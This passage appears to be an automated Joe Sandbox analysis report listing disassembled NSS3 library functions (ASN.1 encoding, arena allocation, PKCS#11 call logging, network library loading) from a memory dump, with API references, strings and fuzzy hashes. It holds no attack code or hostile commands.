PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE64108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE6411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE64137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE64150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF7A1C8), ref: 6CE6417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE64194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE641B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A1A8), ref: 6CE6422D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction ID: 68f2fcfa0c5683bed19de6bdfd0ec504d46b499de0cba5213ea98722a67c7609
Opcode Fuzzy Hash: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction Fuzzy Hash: F35115B2A503016BF710DB669C61B6776FDDF6124CF34452EE969C6F82FB31E40482A2

Function 6CEA8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E9E
PORT_ArenaAlloc_Util.NSS3(6CFB0B64,00000001,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEA8E01), ref: 6CEA8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFB0B64,6CFB0B64), ref: 6CEA8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEA8F3F

Part of subcall function 6CEAA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEAA421,00000000,00000000,6CEA9826), ref: 6CEAA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEA904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEA8E76

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction ID: feff9da8b94cc17a767d63df4874004daff1effded5eb1137b61f4f039c02469
Opcode Fuzzy Hash: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction Fuzzy Hash: 9E6186B5D0010A9FDB10CF96CC80AAFB7B5FF84358F244529DC18AB740E732A916CBA0

Function 6CE58E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE58E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE58E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE58EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF818D0,?), ref: 6CE58F03
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE58F19
PL_FreeArenaPool.NSS3(?), ref: 6CE58F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE58F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE58F65
PL_FinishArenaPool.NSS3(?), ref: 6CE58FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE58FFE
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE59012
PL_FreeArenaPool.NSS3(?), ref: 6CE59024
PL_FinishArenaPool.NSS3(?), ref: 6CE5902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE5903E

Strings

security, xrefs: 6CE58EE7

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction ID: 149d2e74f7436a551246f2ecf381585a970c841b2e7074463e0207c51d1a1f89
Opcode Fuzzy Hash: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction Fuzzy Hash: 3F514BB1658200ABD7205A559C41FAB73F8AF8635CFB4082EF455A7B40D733D9198763

Function 6CE84E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE84E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE84EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84EC7

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE84EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE84F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE84F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE84F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE84F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CE84EC0, 6CE84F13
hObject = 0x%x, xrefs: 6CE84EF5, 6CE84F05
hSession = 0x%x, xrefs: 6CE84EA2, 6CE84EB2
C_GetAttributeValue, xrefs: 6CE84E7E
pTemplate = 0x%p, xrefs: 6CE84F4A
ulCount = %d, xrefs: 6CE84F63

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: d7755eb1d040509f159b916030a0862ed3dcb7f2108863ec81c2783a72b1dcf7
Instruction ID: 4133471a1fda462028f7950aa522c02960f13a10a459d02006bcd68fc21ca354
Opcode Fuzzy Hash: d7755eb1d040509f159b916030a0862ed3dcb7f2108863ec81c2783a72b1dcf7
Instruction Fuzzy Hash: E5411470A12104AFDB00DB54ED89F9A77B9EF4230DF25842AE90C6BB51DB319D08CBA5

Function 6CE84CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE84CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE84D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84D37

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE84D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE84D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE84DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE84DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE84E20

Strings

*pulSize = 0x%x, xrefs: 6CE84E1B
pulSize = 0x%p, xrefs: 6CE84DB7
(CK_INVALID_HANDLE), xrefs: 6CE84D30, 6CE84D83
hObject = 0x%x, xrefs: 6CE84D65, 6CE84D75
hSession = 0x%x, xrefs: 6CE84D12, 6CE84D22
C_GetObjectSize, xrefs: 6CE84CEE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 13cdfa35669261d42833c640dde28c68ec4bdbef54030fa2e3fba96cbaebd3e7
Instruction ID: 7956491cb93f3a5823ac112c39dd4ad461edeb0a604156ff4ec7b97d59418956
Opcode Fuzzy Hash: 13cdfa35669261d42833c640dde28c68ec4bdbef54030fa2e3fba96cbaebd3e7
Instruction Fuzzy Hash: 22411871A02104AFD740DB10DDD8F5A37B9EB4230DF25842AF90C6BB51DB319D08CB65

Function 6CE87C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE87CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87CF3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE87D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE87D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE87D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE87D77

Strings

ulSignatureLen = %d, xrefs: 6CE87D72
pData = 0x%p, xrefs: 6CE87D25
(CK_INVALID_HANDLE), xrefs: 6CE87CEC
hSession = 0x%x, xrefs: 6CE87CCE, 6CE87CDE
ulDataLen = %d, xrefs: 6CE87D40
pSignature = 0x%p, xrefs: 6CE87D59
C_Verify, xrefs: 6CE87CB1

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 2a812909f8a4a588521fff3ddc4e9496dc056516621c5f9153f13606b14ef594
Instruction ID: 6c43fc7529295b20b0507e4a64189432b97d3832d982b54c5dad7c42d7b30ab5
Opcode Fuzzy Hash: 2a812909f8a4a588521fff3ddc4e9496dc056516621c5f9153f13606b14ef594
Instruction Fuzzy Hash: C231E671B12144AFDB10DF54DD88F6A3BB2AB4731CF294429F80D6BB51DB328909CBA5

Function 6CE82F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE82F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE82F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE82F63

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE82F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE82F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE82FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE82FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE82FE7

Strings

ulNewLen = %d, xrefs: 6CE82FE2
(CK_INVALID_HANDLE), xrefs: 6CE82F5C
ulOldLen = %d, xrefs: 6CE82FB0
hSession = 0x%x, xrefs: 6CE82F3E, 6CE82F4E
pOldPin = 0x%p, xrefs: 6CE82F95
C_SetPIN, xrefs: 6CE82F21
pNewPin = 0x%p, xrefs: 6CE82FC9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: a890428c40402b4b7f982b4f599ae31dc7f2a6e8b036d4358e0380734d31c501
Instruction ID: dd346cdec0fc7d9c2fffe54f62c9a5b51deda8c092e1f3e2ed216713fb923c4f
Opcode Fuzzy Hash: a890428c40402b4b7f982b4f599ae31dc7f2a6e8b036d4358e0380734d31c501
Instruction Fuzzy Hash: B2310275A12144AFCB409F54DD8DF4A7BB2EB4631DF294428E80DBBB51DB328808CBA5

Function 6CF1CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A

Part of subcall function 6CF1CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE8C1A8,?), ref: 6CF1CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E

Part of subcall function 6CE405C0: PR_EnterMonitor.NSS3 ref: 6CE405D1
Part of subcall function 6CE405C0: PR_ExitMonitor.NSS3 ref: 6CE405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF1CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CE48

Strings

freeaddrinfo, xrefs: 6CF1CD9F, 6CF1CE10
getnameinfo, xrefs: 6CF1CDB2, 6CF1CE23
wship6.dll, xrefs: 6CF1CDE3
getaddrinfo, xrefs: 6CF1CD88, 6CF1CDF9
ws2_32.dll, xrefs: 6CF1CD75

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction ID: 7dc4140a5cf8c9ed4243dc8fa1e41469d174b04b27f64bb99cc239b67472e1d6
Opcode Fuzzy Hash: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction Fuzzy Hash: DA110BB6E2B11212EB4167753C41BEF3D799B1210CF688938D815D1F80FB25C90987E6

Function 6CF61C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF613BC,?,?,?,6CF61193), ref: 6CF61C6B
PR_NewLock.NSS3(?,6CF61193), ref: 6CF61C7E

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000,?,6CF61193), ref: 6CF61C91

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF61193), ref: 6CF61CA7

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF61193), ref: 6CF61CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF61193), ref: 6CF61CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF61193), ref: 6CF61D1A

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D3D

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF61193), ref: 6CF61D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF61193), ref: 6CF61D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF61193), ref: 6CF61D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61D93
PR_DestroyLock.NSS3(00000000,?,?,6CF61193), ref: 6CF61D9F
free.MOZGLUE(00000000,?,6CF61193), ref: 6CF61DA8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction ID: 9dd8915c2fbd2f4c9461a22453cccab448e67ff6f1aa01db83246bbfcc253cee
Opcode Fuzzy Hash: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction Fuzzy Hash: 363185F5E007015BEB209F65EC41B6776F4AF05758B148539E84A87F41FB31E518CBA2

Function 6CE75E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE75ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE75EE3
PR_Unlock.NSS3(?), ref: 6CE75F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE75FB5

Strings

S&l, xrefs: 6CE75E6C, 6CE7627F, 6CE75F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE761F4
S&l, xrefs: 6CE762E3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction ID: 6cc99f3f96835e36a3842e38dbccfbbc39e75a7b2618fe5d60c65423070442a6
Opcode Fuzzy Hash: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction Fuzzy Hash: 75F107B5A012158FDB54CF18C884B86BBF4FF09308F2582AAD8089F746D775DA85CFA1

Function 6CEC0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEC0C81

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

Part of subcall function 6CE98500: SECOID_GetAlgorithmTag_Util.NSS3(6CE995DC,00000000,00000000,00000000,?,6CE995DC,00000000,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE98517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0CC4

